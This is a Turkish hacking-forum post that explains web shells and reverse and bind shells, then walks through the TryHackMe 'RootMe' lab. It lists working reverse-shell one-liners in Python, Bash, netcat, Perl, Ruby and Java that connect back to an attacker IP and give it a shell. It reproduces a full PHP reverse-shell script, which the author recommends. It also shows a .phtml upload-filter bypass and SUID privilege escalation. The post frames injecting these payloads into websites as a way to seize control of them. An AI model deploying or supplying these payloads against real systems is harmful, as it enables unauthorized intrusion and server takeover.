Mükemmel konu olmuş.
Elinize emeğinize sağlık hocam.
Elinize emeğinize sağlık hocam.
Ellerine Sağlik HocamSHELL NEDİR ?
Shell yani (kabuk) dediğimiz şey kullanıcı ve çekirdek arasında aracı görevi yani binevi köprü görevi gören bir yazılımdır.Yaygın olarak çoğunlukla kullanılan olan bir kaç adet shell/kabuk bulunmaktadır. Bu kabukların uzantıları ise .php, .asp , .aspx olarak belirlenmiştir ve bu yaygın kabukların haricinde aynı prensipte lkeler ile işlev gösteren yaklaşık olarak 100 adet kabuk vardır.
Shell atmak Web sitesi üzerinde tüm yani tam yetkiye sahip olmak demektir. Shell atmak için çeşitli programlama dilleri kullanılır bu diller ile yazılan scriptler sunucuya yerlestikten sonra nc vb. araclar ile port dinlenrek baglantı gerçekleştirilir . Daha sonra hosting yani sunucu üzerinden web sitesi yöneticisinin yetkileri elde edilir. Kullanıcı adı şifresi vb. bilgiler ele geçirildikten sonra sonra tüm yetkilere sahip olunarak dilenirse web sitesi shell atan kişinin kendi üzerine kolaylıkla alınabilir..
Bir web sitesine shell atmak için birçok yöntem vardır bunlar ; Uzaktan dosya ekleme (Remote file inclusion) , SQL açılarından yararlanarak ve Exploit ile
REVERSE SHELL
Reverse Shell saldırı yapılan kurban sistem ile ters(reeverse) bağlantı kurarak, kurban sistem ile saldırgan arasında bir oturum açmaya yarar.Örneğin reverse shell almak için bu python kodunu
Python:python -c ‘import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM); s.connect((“10.0.0.1”,4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([“/bin/sh”,”-i”]);’
siteye enjecte ettiğimizi düşünelim daha sonrasında shell almak için açtğımız porta baglantı kuracağız bunuda netcat aracı ile yapabiliriz nc -lvp 4444 4444. portu dinlemeye aldık hedef sistemde enjecte ettiğimiz kod çalıştığında shell bize düşecektir.
Farklı yazılım dilleriyle reverse shell almak ;
PYTHON
Python:python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("1.2.3.4",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
BASH
Bash:bash -i >& /dev/tcp/1.2.3.4/4444 0>&1
NETCAT
Kod:nc -e /bin/sh 1.2.3.4 4444
PERL
Perl:perl -e 'use Socket;$i="1.2.3.4";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
RUBY
Ruby:ruby -rsocket -e'f=TCPSocket.open("1.2.3.4",4444).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
JAVA
Java:r = Runtime.getRuntime()p = r.exec(["/bin/bash","-c","exec 5< >/dev/tcp/1.2.3.4/4444;cat <& 5 | while read line; do \$line 2>&5 >&5; done"] as String[])p.waitFor()
BEN REVERSE SHELL İÇİN PHP İLE YAZILMIŞ BİR SHEL BETİĞİNİ KULLANIYORUM SİZLERLEDE TAVSİYE EDERİM
PHP:<?php set_time_limit (0); $VERSION = "1.0"; $ip = '127.0.0.1'; // CHANGE THIS $port = 4444; // CHANGE THIS $chunk_size = 1400; $write_a = null; $error_a = null; $shell = 'uname -a; w; id; /bin/sh -i'; $daemon = 0; $debug = 0; if (function_exists('pcntl_fork')) { // Fork and have the parent process exit $pid = pcntl_fork(); if ($pid == -1) { printit("ERROR: Can't fork"); exit(1); } if ($pid) { exit(0); // Parent exits } // Make the current process a session leader // Will only succeed if we forked if (posix_setsid() == -1) { printit("Error: Can't setsid()"); exit(1); } $daemon = 1; } else { printit("WARNING: Failed to daemonise. This is quite common and not fatal."); } // Change to a safe directory chdir("/"); // Remove any umask we inherited umask(0); // // Do the reverse shell... // // Open reverse connection $sock = fsockopen($ip, $port, $errno, $errstr, 30); if (!$sock) { printit("$errstr ($errno)"); exit(1); } // Spawn shell process $descriptorspec = array( 0 => array("pipe", "r"), // stdin is a pipe that the child will read from 1 => array("pipe", "w"), // stdout is a pipe that the child will write to 2 => array("pipe", "w") // stderr is a pipe that the child will write to ); $process = proc_open($shell, $descriptorspec, $pipes); if (!is_resource($process)) { printit("ERROR: Can't spawn shell"); exit(1); } stream_set_blocking($pipes[0], 0); stream_set_blocking($pipes[1], 0); stream_set_blocking($pipes[2], 0); stream_set_blocking($sock, 0); printit("Successfully opened reverse shell to $ip:$port"); while (1) { // Check for end of TCP connection if (feof($sock)) { printit("ERROR: Shell connection terminated"); break; } // Check for end of STDOUT if (feof($pipes[1])) { printit("ERROR: Shell process terminated"); break; } // Wait until a command is end down $sock, or some // command output is available on STDOUT or STDERR $read_a = array($sock, $pipes[1], $pipes[2]); $num_changed_sockets = stream_select($read_a, $write_a, $error_a, null); // If we can read from the TCP socket, send // data to process's STDIN if (in_array($sock, $read_a)) { if ($debug) printit("SOCK READ"); $input = fread($sock, $chunk_size); if ($debug) printit("SOCK: $input"); fwrite($pipes[0], $input); } if (in_array($pipes[1], $read_a)) { if ($debug) printit("STDOUT READ"); $input = fread($pipes[1], $chunk_size); if ($debug) printit("STDOUT: $input"); fwrite($sock, $input); } if (in_array($pipes[2], $read_a)) { if ($debug) printit("STDERR READ"); $input = fread($pipes[2], $chunk_size); if ($debug) printit("STDERR: $input"); fwrite($sock, $input); } } fclose($sock); fclose($pipes[0]); fclose($pipes[1]); fclose($pipes[2]); proc_close($process); function printit ($string) { if (!$daemon) { print "$string\n"; } } ?>
Siteye reverse shell almak için enjekte ettiğiniz dosya php uzantılıysa ve site bunu engelliyorsa php yi destekleyen .phtml uzantısını kullanabilirsiniz.
BİND SHELL
Bind Shell saldırı yapılan kurban makinanın hedef makinesinde bir iletişim portunu veya dinleyiciyi açtığı ve gelen bir bağlantıyı beklediği bir kabuk türüdür.Saldırı yapılan makine, hedef makineye dinlediği dinleme portu üzerinden bağlanır.
BASİT BİR ÖRNEK (TRYHACKME DEN) (ROOT ME):
her ctf de oldugu gibi vpn ile tryhackme sunucusuna bağlandım. Makinaya ping atıp makinnın çalısıp çalısmadıgına kontrol ettim
ping 10.10.22.56
nmap ile basit bir şekilde port taraması yaptık
nmap -sC -sV 10.10.22.56
-sC : varsayılan nmap scriptleridir
-sV : Verisyon bilgisini sürümünü elde etmek için kullanılan nmap paremetresidir.
port taramasında http ve ssh portlarının açık ve versiyon bilgilerinin olduğunu görüyoruz bizi burada ilgilendiren asıl ssh portu.
tryhackme 1. sorusu makinayı tarayın kaç port var ? (2)
tryhackme 2. sorusu Apache'nin hangi sürümü çalışıyor? (2.4.29)
tryhackme 3. sorusu 22 numaralı bağlantı noktasında hangi hizmet çalışıyor? (ssh)
http servisi aktif olduğu için bir web sitesi olduğunu anlıyor ve ip adresini browser da açıyorum ve böyle bir şeyle karşılaşıyoruz.
daha onrasında gobuster ile site üzerinde bir dizin taraması yapıyorum sizler dirb vb. araçlar ilede yapabilirsiniz.
gobuster dir -u http://10.10.22.56/ -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txtgobuster ile yaptığım dizin taraması sonucunda dikkatimi /panel dizini çekti ve bunu dizine gittiğimde dosya uplod edebileceğimiz bir sayfa ile karşılaştım.Buraya reverse shell için hazırladığımız betiği yüklediğimizde netcat ile dinlemeye alacağız ve uploads klasöründen bu upload ettiğimiz betiği çalıştırarak kabuğu elde edeceğiz
tryhackme 5. sorusu Gizli dizin nedir? (/panel)
burayab bir php ters kabuk betiği yükleyebiliriz ben buraya sizede kendi kullandığım ve tavsiye ettiğim php betiğini upload edeceğim.ilk öncelikle php dosyamızda gerekli düzenlemeleri yapalım.
ip değişkenine ip adresimizi ve port değişkenimizede dinlemek istediğiniz bağlantı noktasını yazıyoruz.Daha sonrasında bu dosyayı .php uzantısı ile upload etmeye çalıştığımızda bir hata ile karşılaşacağız demekki .php uzantılı dosyaların yüklenmesine izin verilmiyor.
size baştada bahsettiğim gibi php uzantılı dosyalar sistem tarafınca engelleniyorsa php yi destekleyen .phtml uzantısını kullanabiliriz.Dosya uzantısını .phtml olarak değitirdiğimizde dosya upload edildi.
baglantı noktasını 4444. port olarak belirmiştik bu bağlantı noktasını netcat ile dinliyorum nc -lvnp 4444 ve uploads klasöründe upload ettiğim shell.phtml dosyasını çalıştırıyorum böylelikle kabuğu elde ediyoruz.
ama bu kabuk tam yetkide bir kabuk değil karalı bir kabuk elde etmek için basit bir python scripti
[/CODE]Python:[CODE=python]python3 -c 'import pty; pty.spawn("/bin/bash")'
bu script ile karaklı bir kabuk elde ediyoruz. ardından export TERM=xterm diyerek terminalde daha rahat olabilirsiniz.
tryhackme bizden users.txt yi istiyor find ile yolunu bilmediğimiz dosyaların yolunu bulabiliriz find / -type f -name user.txt komutu ile user.txt nin yolunun /var/www/user.txt olduğunu buluyoruz.
cat /var/www/user.txt ile dosya içeriğini görüyoruz
Tryhackme 6. soru users.txt nedir ?(THM{y0u_g0t_a_sh3ll})
bi başka soruda ise bize SUID izni olan dosyaları arayın, hangi dosya garip olduğunu soruyor.
SUİD yetkisine sahip dosyaları görmek için find / -type f user root -perm -4000 2>/dev/null komutunu kullaanabiliriz.
-perm : belirli izne sahip dosyaları arar
-type f : sadece dosyaları aramak içindir
2>/dev/null : SUİD yetkili dosyaları aradığımızda hata almamak için kullanılır.
find ile suid yetkisi olan dosyaları araştırdıgımızda bir sürü dosya çıkıyor diğerleri standart dosyalar ama garip olan dosya /usr/bin/python dosyası
Tryhackme 7. sorusu SUID izni olan dosyaları arayın, hangi dosya garip?(/usr/bin/python)
/usr/var/python dosyacını açmak için suid yetkisine sahip olmalıyız
python için suid yetkisi
cd usr/bin dizinine gidiyorum ve suid yetkisini elde etmek için kodumu çalıstırıyorum ve root oldugumuzu görüyoruz.
son soruda ise bize root.txt yi soruyor
Tryhackme 8. sorusu root.txt nedir? (THM{pr1v1l3g3_3sc4l4t10n})
Turkhackteam.org internet sitesi 5651 sayılı kanun’un 2. maddesinin 1. fıkrasının m) bendi ile aynı kanunun 5. maddesi kapsamında "Yer Sağlayıcı" konumundadır. İçerikler ön onay olmaksızın tamamen kullanıcılar tarafından oluşturulmaktadır. Turkhackteam.org; Yer sağlayıcı olarak, kullanıcılar tarafından oluşturulan içeriği ya da hukuka aykırı paylaşımı kontrol etmekle ya da araştırmakla yükümlü değildir. Türkhackteam saldırı timleri Türk sitelerine hiçbir zararlı faaliyette bulunmaz. Türkhackteam üyelerinin yaptığı bireysel hack faaliyetlerinden Türkhackteam sorumlu değildir. Sitelerinize Türkhackteam ismi kullanılarak hack faaliyetinde bulunulursa, site-sunucu erişim loglarından bu faaliyeti gerçekleştiren ip adresini tespit edip diğer kanıtlarla birlikte savcılığa suç duyurusunda bulununuz.